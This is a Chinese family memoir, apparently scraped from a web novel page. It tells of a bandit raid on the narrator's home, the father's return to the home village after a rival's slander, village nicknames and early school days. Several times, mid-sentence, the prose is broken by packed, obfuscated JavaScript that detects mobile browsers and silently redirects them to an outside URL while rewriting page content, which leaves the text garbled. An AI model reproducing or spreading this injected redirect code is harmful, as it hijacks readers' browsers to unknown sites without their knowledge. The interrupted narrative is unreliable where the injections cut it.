奶奶坐在堂屋里,借着微弱的灯光纳鞋底,试图让自己镇定下来。她的手微微颤抖着,针时不时地扎到手指上,但她仿佛感觉不到疼痛。 当时只有 6 岁的母亲则在旁边纺线线,她的小手微微颤抖,眼神中满是不安。她的眼睛时不时地望向门口,心中充满了恐惧和担忧。 突然,“咚!咚!咚!”,一阵剧烈的敲门声打破了夜的宁静,土匪开始用斧头砍大门了。那声音仿佛是恶魔的咆哮,让人毛骨悚然。 我家有两道很厚的大门,那是守护家的最后防线。直到现在,我家大门上还赫然留着当年斧头砍过的痕迹,那一道道深深的沟壑,仿佛在诉说着那段惊心动魄的往事。 土匪们用力砍第一道大门,却怎么也砍不开,他们的斧头在大门上留下一道道白印,但大门依然纹丝不动。 他们意识到这样强攻不行,于是就像一群狡猾的狐狸,上到屋顶上,从我家堂前的天井上闯了进来。 土匪们都用黑布蒙面,只露出两只眼睛,在黑暗中闪烁着贪婪的光。 据我奶奶后来回忆说,即使他们蒙着面,她也一眼认得出其中那个头领就是我外婆的那个族侄儿,那熟悉的身形和眼神,让她刻骨铭心。那身形在月光下显得格外狰狞,那眼神中透露出的贪婪和凶狠,让奶奶一辈子都无法忘记。 两个土匪一进屋,就恶狠狠地把刀架在我奶奶脖子上,声音凶狠地逼问财物放在什么地方。 奶奶咬紧牙关,怒目而视,坚决不说。她的眼神中充满了愤怒和不屈,仿佛在告诉土匪:“你们休想从我这里得到任何东西!” 土匪们见奶奶如此强硬,恼羞成怒,就把奶奶绑在一个长梯上,用扁担狠狠地抽打,用香火残忍地烫。奶奶被打得遍体鳞伤,胸前和腰上都烫起了很多大水泡,疼痛难忍,但她还是死死地守住秘密,绝不屈服。她的嘴里不停地念叨着:“你们这些强盗,别想从我这里得到任何东西!” 与此同时,两个土匪闯进北边厢房,拿刀逼问叔爷。叔爷虽身患重病,但毫不畏惧,坚决不说。他的声音虽然微弱,但却充满了力量:“我不知道!你们休想从我这里得到任何东西!” 土匪们见状,也是用棍子毒打。叔爷虽惨遭毒打,却仍拼尽全力掩护躺在被子里的儿子。他用自己瘦弱的身体,为儿子撑起了一片安全的天空。 精明的母亲虽也惊恐万分,但她强作镇定,机灵地坐在床上压住被子,帮叔爷掩护父亲。她的心跳急速加快,但她知道,她不能慌乱,她要保护好自己的家人。 其他的土匪则在满屋里疯狂抄查,翻箱倒柜,却怎么也没有查到财物。他们把屋里的东西扔得到处都是,家具被砸得粉碎,衣服被撕成碎片,但他们依然一无所获。 原来我家的房屋里有外村人不知道的秘密。 在我们老家,一般人家的房屋大多是一向三间,也就是中间一间堂屋,左右各一个厢房。我们村的房屋都是坐西朝东的,我们家的房屋,外面看起来也是坐西朝东一向三间,其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的身上满是伤痕,每走一步都钻心地疼,但她顾不上这些。心中只有一个念头:贵重财物。我家的一些贵重财物也被奶奶事先藏在她家里,这才保住了一部分家业。“老大” 见到他们,赶忙把他们迎进屋里,为他们提供了庇护。 土匪们搬财物搬了一夜,直到天快亮了才满载而归。 我叔爷因遭这次毒打,受了严重的内伤,身体每况愈下,不久就含恨去世了。 奶奶本来身体非常强壮,却因遭这次毒打,落下了终生的病根,后来也是因老病复发而抱憾离世。 她的一生,经历了无数的风雨,但她始终坚强地面对生活,她的坚韧和勇敢,成为了古家的精神支柱。 我奶奶娘家有个堂兄是新四军一个游击队的队长,听说了此事,义愤填膺,他的眼中燃烧着愤怒的火焰,就要去捉拿这帮土匪,为奶奶和古家报仇。 我爷爷却长叹一声,说道:“算了吧,不结子孙仇。” 爷爷的胸怀宽广,他不想因为仇恨而让子孙后代陷入无尽的纷争。 爷爷就带着全家回麻城了。多亏我奶奶事先转移了一些贵重的财物,麻城永兴商号的生意又慢慢做起来了,生活似乎又回到了正轨。 后来我奶奶知道了我外婆知情不报的事,心中一直记恨。 当奶奶得知那个姑娘在追我父亲的时候,心中的旧怨新愁交织在一起,就产生过那样的念头。 但当她知道了我父亲的真实想法后,也就作罢了。 后来我父亲根本就没和那姑娘有什么瓜葛了。那位不怀好意的同乡完全是别有用心的造谣,她的目的不过是为了自己的私利,却差点毁了我们的家庭。 我奶奶对我母亲不满的原因还有一个。 在麻城,街坊邻居都不知道我父亲不是我奶奶亲生的,而是过继的。 我爷爷大名古永兴,有一个弟弟,也就是我的叔爷名叫古永传。爷爷在麻城做生意,叔爷在老家种地。 叔爷为人老实本份,又生性懦弱,在那个年代,很难娶个媳妇。是我奶奶千方百计托人说媒,费了好大的劲,才娶了后面村子里一位风水先生的女儿。 我奶奶没有生孩子,为了感恩我奶奶,我叔爷就说,他生下来的第一个孩子就过继给奶奶。 我叔爷一共生下了六个孩子,但命运弄人,只活下来一男一女,其他几个都不幸夭折了。 男孩就是我父亲,刚满月就过继给我奶奶了。我父亲有一个妹妹,是个智障女孩,二十多岁时也离开了人世。 我家被抢的那天,我亲奶奶带着女儿到娘家去了,躲过了一劫。 我母亲带着我到麻城后,她不知就里,有口无心地把这件事透露出去了。 这让我奶奶非常难堪,觉得自己的隐私被曝光,也非常生气。于是,这婆媳之间就有了矛盾,也使得我奶奶有让我父亲停妻改娶的念头。 但由于父亲的坚决不同意和母亲离婚,我奶奶也只好作罢。不过,婆媳之间还是搞起了冷战,长时期相互不说话,家庭的气氛变得有些压抑。 5. 第 5 章 五 主动要求下放这件事,母亲一直瞒着父亲,就像藏着一个沉重的秘密,压在她的心头。事后的好多年里,母亲都深陷在悔恨与自责的泥沼中,难以自拔。她常常在夜深人静时,独自叹息,总觉得是自己害了父亲,那些话语里满是愧疚与痛苦。 在乡镇府办不成手续,老家的落户也成了泡影。父亲望着远处的山峦,眉头紧皱,思索片刻后说:“先回到村子里再说吧!” 那语气里带着无奈,却也有着一丝对故乡的眷恋与期待。 于是,我们沿着蜿蜒的山间小路,一步一步向老家走去。山路崎岖,两旁的野草在风中摇曳,仿佛在诉说着岁月的沧桑。 两年前,我上一年级时,在暑假期间,奶奶曾带我回过老家一次。那次回老家,是因为全国上下掀起的那场轰轰烈烈的 “大办钢铁” 运动。 当时,“大办钢铁” 的热潮席卷全国,我们老家也未能例外。村村都建起了土法上马的炼钢炉,滚滚浓烟从炉中升腾而起,仿佛要将天空都染成黑色。 我们村后的满山大松树都被砍光用作燃料。 家家户户都积极响应号召,把铁做的东西都捐献出来,希望能为大办钢铁贡献自己的一份力量。 有人专程到麻城找到我家,说我家里一定有很多铁制物品,都应该捐出来。 奶奶向来热心,毫不犹豫地积极响应,带着我回到老家,准备为这场运动贡献自己的力量。 奶奶在家里翻箱倒柜,清理出了一大堆东西,装了满满两大萝筐。 我至今都记得非常清楚,那些东西稀奇古怪,却并非铁制,而是铜的。 有青铜的,散发着古朴的气息;有红铜的,泛着温润的光泽;还有黄铜的,闪耀着独特的光芒。 它们形状各异,有的像酒壶,仿佛还残留着岁月的酒香;有的像香炉,似乎还萦绕着袅袅的香烟;有的像某种动物,栩栩如生;还有一些,形状奇特,难以言表。 两个大萝筐上分别盖着一面大铜锣,在阳光下闪烁着冰冷的光。 最终,这些东西全部被捐了出去! 那时的我,还只是个孩子,看到这些有趣的东西,只觉得好玩,心里想着,要是留着做玩具该多好啊,便想要几个留下来玩。 奶奶却对我说,这些东西本来就不是我们家的,是别人寄放在我家的,等了这么多年,那人也没回来拿,或许早已不在人世了。这回就都捐出去,让它们为国家作贡献吧。 后来才知道,那些东西的来历真的不一般,捐出去实在是太可惜了! 说起这些东西的来历,就不得不谈到刘邓大军挺进大别山那段波澜壮阔的历史。 想必各位看官一定很奇怪,这和刘邓大军挺进大别山有什么关联呢?这听起来简直是风马牛不相及啊! 刘邓大军挺进大别山时,国民党桂系白崇喜部大兵围剿。 当时,围剿大军有一个团驻扎在中馆驿,团部就设在我家。 奶奶回忆说,那个团长文质彬彬的,戴着一副眼镜,说起话来温文尔雅,一点也不像当兵的,倒像个教书先生。 有一天,团长集合部队,准备到山里面去打仗。临走时,他神色凝重,把自己毕生收藏的这些珍贵物品寄放到我家,还再三叮嘱要保密,说打完仗就回来拿。 我爷爷奶奶一直信守承诺,等他回来取,可是时光流转,始终没等到他的身影。 解放后,我家在中馆驿多次搬迁,从北街搬到新街,从新街搬到小西门,又从小西门搬到东门外新农村。爷爷怕把这些东西弄丢,对不起寄放的人,就把它们转移到了老家存放。毕竟城里的房子狭小,而老家的房子宽敞。 我家做丝线工坊里的一些器材、工具和设备,也都一并搬回了老家。那些珍贵的物品,就是随着这些设备一起被运回去的。 奶奶是个朴实的人,根本不懂这些东西的价值。这些东西究竟值多少钱,真的难以估算啊!或许那位团长早已不在人世了,否则,他一定会回来取走这些宝贝。 当时,收走这些东西的人,如果也不识货,真的拿它们去炼钢了,那可真是暴殄天物,太可惜了!但如果收走这些东西的人识货,却把它们据为己有,那他可就占了大便宜了,这也让人感到无比的愤懑。 天快黑的时候,暮色如墨,渐渐笼罩大地,我们终于抵达了古家田。一路上,疲惫与期待交织在我们心中。 我们先来到村最南头的外婆家。外婆正在院子里忙碌,看到我们突然到来,手中的活计一下子停住,脸上满是吃惊的神情。 我们回不了自己家,因为我家已经变成了村里的粮库,堂屋里、厢房里都堆满了粮食,连落脚的地方都难找。当晚,我们只好在外婆家过夜。 外婆家在抗日战争时期就破产了,城里那曾经生意兴隆的棺材铺也没能逃过战火的侵袭,倒闭关门。 外公又得了重病,身体每况愈下,无奈之下,一家人只好搬回古家田。 外婆家的房子很小,只有两个小房间,显得格外局促。 妈妈跟外婆睡一间房,我则挤到舅舅房里睡。我的舅舅只比我大三岁,正上三年级,和我同级。后来我转到他们学校,我们还成了同桌,一起度过了许多难忘的时光。 父亲则在堂屋里打地铺,简单地铺了些稻草,便将就一晚。 当时,村村都实行吃大食堂的制度,各家各户不得私自开火做饭。晚饭时间早已过去,我饿得肚子咕咕叫,仿佛在抗议。 村里人得知我们的情况后,从食堂拿来几个蒸熟的红苕。那红苕冒着热气,散发着香甜的气息,在饥饿的驱使下,我狼吞虎咽地吃了起来。吃完红苕,我便带着疲惫与满足,沉沉睡去。 第二天一大早,天边刚刚泛起鱼肚白,舅舅和同村的孩子们便背着书包,蹦蹦跳跳地上学去了。 父亲则早早起身,到村北头的瘫子爹家里去了。瘫子爹是父亲的忘年交,他曾经是中建三局因残废而退休的工人,年轻时闯南走北,见识广博,经历丰富。 父亲想去和他商讨商讨,下一步该如何走,在这迷茫的时刻,他希望能从瘫子爹那里得到一些建议和帮助。 母亲和外婆许久未见,有说不完的话。她们坐在院子里,时而欢笑,时而叹息,回忆着过去的点点滴滴,分享着生活的酸甜苦辣。 我则拿起一本书,打算到村前的大枫树下看书。阳光透过树叶的缝隙,洒下斑驳的光影,仿佛为我铺上了一层金色的地毯。 我们这个村子很特别,整个村子就像一个紧密相连的整体建筑物。村子坐西朝东,从南到北有三个巷子,三个巷子呈 m 形,仿佛是大地书写的神秘符号。 三个巷子口都有对开的木门,那木门虽然陈旧,却透着岁月的厚重。巷子的顶上都是全封闭的,仿佛为村民们撑起了一把保护伞。 每条巷子里的人家门对门,一边四家共八家,三条巷子就是 24 家,后面一排房子,有八家,共计 32 家,里面住的全是同族姓古的。整体建筑的南边只有一户人家,是外姓,那就是我的外婆家,在这个大家族中显得有些特殊。 我家的房子是全村最大最好的。别家的房子大多是土砖墙,在风雨的侵蚀下显得有些破旧。而我家的房子是 “线石封青” 的墙,所谓 “ 线石封青”,就是墙的下半部分是用长方形的大石料做的,石料上有一条条平行的线条,仿佛是岁月留下的痕迹;墙的上半部分是大青砖做的,透着古朴与典雅。我家的房子也是全村最大最漂亮的,占了两户人家的地基,对着巷子有两道大门,显得格外气派。厅堂很大,厅堂前有一个天井,阳光洒下,为整个屋子增添了几分明亮与温暖。 据爷爷说,早先我们家的房子是两层的转楼,雕梁画栋,十分精美。后来被 “长毛” 烧了,只剩下一片废墟。 现在的房子是爷爷奶奶后来重修的,奶奶为修这个房子操了很多心,费了不少力。那些日子里,奶奶四处奔波,寻找材料,监督施工,每一块砖、每一片瓦都凝聚着她的心血,这也是奶奶要父亲回家搞土改的原因之一。 我们这个村子里的人的名字也很特别。我回老家好多年,大部分人的大名我都不知道,只知道他们的绰号。村里人的绰号都和 “苕” 相关,仿佛 “苕” 成了这个村子独特的文化符号。 老家会龙山一带,属丘陵地带 ,有很多山,但山都不高,连绵起伏,像大地的波浪。田少地多,田里种水稻,产量低,根本不够吃。于是,地里就大量种红苕。 红苕成了村民们的主食,要占口粮中的百分之七十以上。村里有个顺口溜:“早饭苕三碗,中午三碗苕,晚饭苕片汤。” 从这句顺口溜中,便能看出这 “苕” 在村民心中的地位有多高! 前文介绍过,村里有三条巷子。南巷子里有六户人家,其中四户的人都以苕取名字,这六户人家属大房头,弟兄六人:大苕、二苕、三苕、四苕。(“苕” 在序数后面。)另两户,一户就是我家,因我家常住外地,所以名字里没有苕,另外一户,因男人常年都在汉口,家里只有女人,取名也没有带苕字。 中间巷子里的八家,左边四家:弟兄四人:苕一、苕二、苕三、苕四。(“苕” 在序数前面。)右边是两个房头,一个房头两家。其一是:苕老大,苕老二。(“苕” 和序数间加一 “老” 字。)其二是:大热窝、细苕货。(以苕的别名 “热窝” 命名。) 北巷子住着最大的房头,弟兄七个:大苕货、二苕货、三苕货、四苕货、五苕货、六苕货、七苕货(“苕” 后加一 “货” 字。)另外一户就是瘫子爹家,是从城里回来的,取名就没带 “苕”。 后面一排八家,住的比较杂;有一家是下放回家不久的医生,我叫他 “幺爹”;有一家是从湖南迁回的做酒的师傅;有一家是从武汉某建筑公司下放的木工师傅,我称他为 “赌博爹”;有一家是在外地开药店的,我叫他 “药铺爹”。那个被划成地主兼资本家的人家就住在这里,房子老是空着,没人住;还有一家是抗日烈士的家属,他家的老二是被日本人杀害的。这几家人的名称里也没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915210|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “苕”。这里只有两户人家取名与苕相关,一户是 “大夹生” 和 “细夹生”,另一户是 “臭夹生”。(从 “夹生苕” 引伸而来)还有两间是公房,作为村里干部办公开会之用。 最南边的一家是我舅舅家,大概因为是外姓,所以没资格以 “苕” 命名吧。 村里人互相称呼,也从不称学名,都称浑名,晚辈称呼长辈更不能称学名,但是必须把绰号带上。在这个村子里,这已经成了一种约定俗成的规矩。 我们家的辈份在村里是最低的,在同辈里年纪又是最大的。我祖父是他那一辈人中年纪最大的,被村里人称为 “老大哥”,他的为人和威望赢得了大家的尊重。我父亲在他那一辈中,只有 “苕一哥” 比他大一岁,也是 “老大哥”。我在我这一辈中,年纪也是最大的。 我们这里把祖父称做 “爹”,把祖母称做 “大”。村里人大多人是我的 “爹”、“老爹”,少部分人是 “伯” 和 “叔”,我没有 “哥” 和 “姐”,只有很少的几个 “弟” 和 “妹”。 我称呼他们,必须这样:“三苕爹”、“苕五爹”、“大苕货爹”、“细苕货爹”、“大热窝爹”、“细苕货爹”、“苕一哥伯”(因为 “苕一哥” 是他的浑名,所以要这样称呼。)每一个称呼里,都饱含着我对他们的尊重与亲近。 每到要吃饭的时候,村头就热闹起来了!各家各户的女人都在村头扯着嗓子喊自己的男人回来吃饭。那一声声呼喊,在村子里回荡,充满了生活的烟火气。 “大苕货!快回来吃饭啊!” “苕老二!饭熟了,回来吃饭啊!” “三苕!今天有好吃的,快回来啊!” “苕四!家里来客了,快回来啊!” “臭夹生!快回来吃晚饭啊!” 我刚回老家的时候,是村子里人口最多的时期,大约有 160 多人。听老人们说,几百年来,这个村子总是这么大,三十几户人家,一百多人,仿佛时间在这里凝固了。 因为村里的田地只能养活这么多人,土地是有限的,人口也似乎被一种无形的力量限制着。 读书读得好的人,考上县里的中学,然后考上武汉的大学,就永远离开了村子,去追寻更广阔的天地。留下来的基本上是文盲半文盲。还有些人到外地学手艺,做生意,做得好的,也大多不回来了,村子里只剩下那些坚守的老人和孩子。 我们村的地理环境非常好,村里人都说我们村风水好。村子的东面、北面、西面都是山,山上长满了松树,四季常青,像一个个绿色的卫士守护着村子。南面是两个很大的水塘,一个叫大塘,一个叫门前塘;水塘下面是一道冲,越向南越宽;东西两边是塝田,冲里面是冲田,都是肥沃的良田;北边山腰上还有一个大水塘,叫上塘,上塘下面也是良田,所有的良田都能得到很好的灌溉,这也为村子的农业生产提供了得天独厚的条件。 我们村里的生产生活方式和一千年前差不了多少。耕田的犁耙锄锹,和一千年前的一样,依旧是农民们最得力的工具;提水灌田的水车,也和一千年前一样,吱吱呀呀地转动着,诉说着岁月的故事;研米的研子,舂米的碓臼,磨面的磨子,也和一千年前的一样,散发着古朴的气息。 没有脱粒机、抽水机、轧米机之类的机械,生活简单而质朴。没有电,我们村是 80 年代初才通电的。我们这一带唯一有点现代气息的东西就是那几根搭电话线的木头柱子,但离我们村还有几里路,仿佛是现代文明与这个古老村子的遥远连接。 打谷打麦子全靠人工,舂米磨面也全靠人工。每天晚上,村前大枫树下的研子和碓臼都忙个不停。村民们在月光下,辛勤劳作,脸上洋溢着对生活的热爱与期待。 我们村引以为傲的就是门前的四棵千年古枫。母亲说本来是六棵,不知怎的被锯掉了两棵,这成了村里人的一大遗憾。 剩下的这四棵,从村北到村南,高高地挺立着,像四位巨人。每棵枫树上都有上百个鸟窝,乌鸦窝、喜鹊窝、麻雀窝,满树都是,鸟儿们在这里安居乐业。 常有人上到枫树上掏鸟蛋,一掏就是一篮子,上百个。 我们每天早上上学都是被鸟叫声叫醒的,那清脆的鸟鸣,仿佛是大自然最美的乐章。 四棵树都好高好高,离村二十里都能看得见,它们成了村子的标志性景观。 非常可惜又可恨,在□□期间,这四棵大枫树都被锯掉拿去做了大队加工厂。如果它们还在,一定会受到国家的重点保护,成为珍贵的历史文化遗产。我见过神龙架神龙坛景区里那棵被称作 “枫王” 的枫村,比我们村里的这四棵枫树可小多了啊!每想到这里,心中便涌起无尽的惋惜。 有族谱为证,我们村古时候曾出了一位探花郎,巷子口还有旗杆石,大塘边还有 “探花花园” 遗址。这村子的建筑设计不知道是不是出自这位探花郎之手,岁月的尘埃掩盖了真相,不得而知。但那些古老的遗迹,仿佛在诉说着村子曾经的辉煌与荣耀 。 6. 第 6 章 六 父亲与瘫子爹闭门交谈许久,房门紧闭,屋内时不时传出低沉的话语声,却听不真切。我和母亲在屋外,只能透过门缝,隐隐瞧见他们时而皱眉、时而比划的身影。 交谈结束后,父亲神色凝重,他把我和母亲留在了老家,自己则匆匆踏上了前往麻城的路途。那一天,天空阴沉沉的,仿佛也在为即将到来的变故而哀伤。 过了几日,父亲回来了。他的脸上带着几分疲惫,却又难掩一丝如释重负的神情。他手中紧紧握着一叠文件,那是全家六个人的户口手续,以及为我开具的转学证。 父亲对母亲说:“伯妈都坚决不回来,要带着小儿子之瑜就在麻城过。没办法,就这样吧!” 他的语气中满是无奈,眼神里透露出一丝失落。母亲听后,轻轻叹了口气,眼中闪过一丝忧虑。 然而,平静的日子并未持续多久。 一天,乡镇府的工作人员匆匆赶来,神色焦急地告诉父亲,麻城那边打电话来,让他赶紧回去一趟。 原来是父亲下放的事情惊动了麻城县的县长,就是那位曾与父亲一同坐在主席台上的县长。 据说县长得知此事后,大发雷霆,在大会上怒声斥责:“胡乱搞!怎么把古正清下放了,赶快收回来!” 是啊,县人大代表、镇新华书店经理,还是地区模范标杆书店的经理,且又不在下放人员的范围内,怎么就下放了呢?这县长发火发得确实在理。 父亲听到这个消息后,眉头紧锁,眼中闪过一丝复杂的情绪,有惊讶,有疑惑,也有一丝期待。他来不及多想,又急急忙忙地赶回麻城。 这一次从麻城回来,父亲的神情格外凝重,仿佛背负着千斤重担。 结果令人意外,他只把爷爷奶奶的户口迁回了麻城。 为何如此?就因为那位同乡的一句话。 这看似平常的一句话,却如同一把锐利的匕首,直直刺向父亲的内心深处。 父亲回到中馆驿后,径直去找那位同乡,想要问个明白。 他站在同乡面前,目光如炬,质问道: “你为什么要这样做?我到底哪里出了问题,让你执意要把我下放?” 那位同乡坐在椅子上,翘着二郎腿,脸上带着一丝狡黠的笑意,阴阳怪气地说: “你是不在下放的范围内,但是历史上有污点的人也是可以下放的。” 父亲一听,顿时火冒三丈,他的双眼圆睁,愤怒地吼道: “我有污点吗!你别血口喷人!” “你怎么没有呢?你当百货商店经理时,是不是有贪污行为?” 同乡不紧不慢地说道,语气中充满了挑衅。 “那个问题不是早就查清楚了吗?” 父亲强忍着怒火,一字一顿地说,他的双手紧紧握拳,身体微微颤抖。 “听说是查过的,但这也说明你曾经有过问题呀。” 同乡撇了撇嘴,满不在乎地回应道。 “查清楚了还是问题吗?你这不是睁眼说瞎话吗?”父亲的声音越发高亢,额头上青筋暴起。 “谁知道是怎么查的?不管怎么说,你是曾经有过问题的。”同乡依旧不依不饶,眼神中透露出一丝得意。 原来,因为下放我们家六个人,那个同乡的老婆和亲属就保住了六个人没下放。如果我家迁回来,他那六个人就有被下放的危险。当时下放工作还在进行中,没有最后定案。 他深知父亲个性要强,特别爱面子,受不了一点点委屈,所以故意拿那件事刺激父亲,而父亲果然中了他的圈套。 说起那件所谓的“贪污”之事,实在是荒谬至极。 那一年,麻城县修建浮桥河水电站,父亲在工地上负责物资供应,他当时是供销社百货商店的负责人。商店盘点时,账面上少了361元钱。有人便诬陷父亲贪污了这笔钱,一时间,流言蜚语四起,父亲被推到了风口浪尖。然而,后来一查,供销社仓库里同期多出了361元钱,是因为有一批袜子没入账。真相大白,父亲的清白得以证明,可那些恶意的谣言却如影随形。 母亲曾说,父亲在商店里,床旁边摆满了金果糖果之类的零食,他虽然特别爱吃甜食,但却从未动过店里的任何东西。有一次,母亲到父亲的商店里玩,顺手拿了几个金果吃,就被父亲狠狠地训了一通。父亲就是这样一个正直、自律的人,他的廉洁奉公不容置疑。 和那位同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915211|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乡吵过之后,父亲气愤难消,他在屋子里来回踱步,嘴里不停地念叨着:“士可杀不可辱”“不为五斗米折腰”“不与小人为伍”。他的眼神中透露出无比的坚定,那一刻,他决定坚决不迁回麻城,坚决回老家。 最终,父亲只把爷爷和奶奶的户口迁回了麻城。奶奶想把我弟弟子瑜的户口也迁回麻城,可父亲坚决不同意。奶奶心疼年幼的孙子,坚持要留下弟弟,不准父亲把弟弟带回老家。 于是,爷爷、奶奶和弟弟就留在了中馆驿,住在镇东门外的“新农村”。 “新农村”有十几排平房,都是用街上拆下来的建筑材料修成的。镇上的居民大都搬进了这个新农村,这里成了他们新的家园。 镇供销社安排爷爷在东门街上经营一个小小的杂货店,每月工资18元。爷爷每天早早地开门营业,热情地招呼着每一位顾客。他的脸上总是挂着和蔼的笑容,尽管生活并不富裕,但他依然乐观面对。 奶奶则在门前辟出了一大块菜地,种了各种各样的蔬菜。她每天都在菜园里辛勤劳作,浇水、施肥、除草,每一棵蔬菜都倾注了她的心血。 此后,父亲差不多每月都要翻山越岭,步行近百里路,穿过红安新州两县,来中馆驿送米。 每年暑假和寒假里,我都要跟着父亲踏上这漫长的旅程。 这条路,十几年来,我们记不清走了多少次。每次都是天还未亮,我们就起程,走到天黑才抵达。 一路上,我们要经过几条河,其中有一条河上有一个独木桥,桥面是由几个很窄的木板拼成的。每次走到这里,我都胆战心惊,双腿发软,不敢迈出脚步。父亲总是在一旁鼓励我,可我还是害怕,只能手脚并用地爬过去。 我亲爱的父亲啊!太把同乡吴良当回事了! 太把同乡吴良的话当话了! 就因为这一句话,他毁了自己的大好前程,招致了几十年的苦难,也改写了全家的命运。 就这样,我糊里糊涂地回到了故乡。 从此,故乡的山水、故乡的人,都成了我生活的一部分,也成了我生命中最难忘的记忆 。 故乡的风,故乡的雨,都在诉说着许许多多甜酸苦辣的故事。 7. 第 7 章 第二章 我的小学 一 我转学的时候已经是9月下旬了。 这所小学离我们村大约有三华里,是乡里的中心小学,名叫张家大塆小学。 这个小学的校园原先是个戏园子,像个大四合院,靠北边有一个大戏台,东西两边是两排教室,南边是一排办公室。 学校不大,一个年级只有一个班,比我原来的学校小,我原来的学校是麻城第七中学附小,一个年级有两个班。 我所在的三年级这个班共有50多个学生,同学们的年纪都比我大,有的还大很多,最大的一个女生有16岁。 我的同桌就是我舅舅,他只大我三岁,也算年纪比较小的了。 虽然是个乡村小学,可这里的师资力量却非常强,大都是正规师范院校毕业的。 只有我们的班主任兼语文老师不是正规师范院校毕业的,但是,他是我最敬佩的一位老师,也是我终生难忘的一位好老师。 我们的班主任姓何,四十来岁,中等身材,留着平头,两眼炯炯有神。 他早年是新四军五师的人,曾做过中原野战军某纵队司令部的秘书。中原突围的时候,部队被打散了,他回到老家躲藏起来,后来就和部队失去了联系。 他上过私塾,古文功底很好,加上在部队的历练,写得一手好文章,写得一手好字,就在乡下教书,解放后,也就成了正式的小学老师了。 □□中,说他是叛徒,被开除了,直到改革开放后才平反恢复工作。 何老师上课很有激情,讲起课来,眉飞色舞,手舞足蹈;读起书来,抑扬顿挫,摇头晃脑。 何老师不只是讲课本上的内容,有时候给我们讲一些古典诗词,如苏轼的《大江东去》,岳飞的《满江红》。 他还经常讲些红军和新四军的故事,我们都爱听。 我的记忆力比较强,背课文,背诗词,都背得快,所以何老师特别喜欢我。他总是在班上夸奖我是天才,将来有大出息,这对我的鼓励特别大。 我写的作文,他都给高分,好几次给100分,还张贴在教室后面的墙上。 印象最深的一次是,他要我们背诵张志和的《渔歌子》: 西塞山前白鹭飞,桃花流水鳜鱼肥。 青箬笠,绿蓑衣,斜风细雨不须归。 并要求我们根据诗意画一幅画。 我画的是;一条大河,远处是连绵的山岚,山前有几只鸟,近处河岸边有一棵柳树,柳条微微飘动,树下坐着一个人,头上戴着箬笠,手举着钓竿在钓鱼。 何老师对我的画大加赞赏,连连说:“天才!天才!,哪里去找天才?天才就在这里!”何老师的赞赏激励了我一辈子呢。 何老师因为偏爱我,即便我犯了错误也宽容我。 我喜欢看小说,尤其是古典小说,当时看了很多,如《七侠五义》、《今古奇观》、《十八剑侠》、《杨家将》、《说唐全传》、《说岳全传》等等。 我家里也有不少书,其中一套繁体字直排版的绣像本《三国志演义》,我都看了好多遍。 我个子小,我的书桌很大,有一次上语文课时,我钻进书桌的抽肚里看书。 何老师上课时发现我的座位上没有人,就问和我同桌的舅舅: “古之华怎么没来上课啊?” 我舅舅站起来,用手指了指课桌。 何老师走过来,低头往课桌抽肚里一看,我正躲在里面看得津津有味。 他就把我从课桌的抽肚里拉出来,把我的书拿走了。 何老师翻了翻我看的书,不仅没有批评我,还包庇我说: “能看这么难的书,难得!难得!” 记得当时看的书是《剑骨琴心》,是竖排版的文言小说,标点符号都没有。 何老师还很喜欢戏剧,他曾指导我们排演话剧《斯巴达吉克》。 他让我在剧中扮演那个贵妇人。我穿上西式的长裙,带上黄色的假发,擦上胭脂,抹上口红。 妆化好了,何老师在一旁边赞叹道:“好漂亮小公主啊!” 演出时,家长也来看,我母亲说:“真好看!真像我小时候的样子!”我的长相很像我母亲。 大概是我幼儿时就陪母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915212|160265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看戏,所以一辈子就爱看戏,喜欢戏剧。 后来在学校、在大队、在公社搞文艺宣传队时,我都是文艺骨干,做过演员,做过导演,做过编剧,还当过文艺宣传队长。 在当民办学校校长时,还把京剧引进了校园,把京剧作为必修课,还在湖北剧院搞了一次影响很大的“京剧艺术节”,我校的小演员还登上了电视节目《戏码头》。 也因此引出一些悲欢离合的故事,包括我的初恋,这是后话。 我又想起和演出有关的一件很好笑的事来了。 那是在中馆驿麻城七中附小读书时的事。 上一年级时,我的语文老师兼班主任老师是一位非常漂亮的年轻女老师,有一对又粗又黑又长的大辫子,那辫子,快拖到地下了,她与当年著名的歌唱家同名,叫郭兰英。 我们郭老师也很会唱歌,也是女高音,声音清亮甜美,她曾教我们唱《小燕子》。 记得是1958年的国庆节,当时我刚上一年级。学校搞国庆文艺会演,我们班的演出节目是大合唱,郭老师让我站在中间领唱。 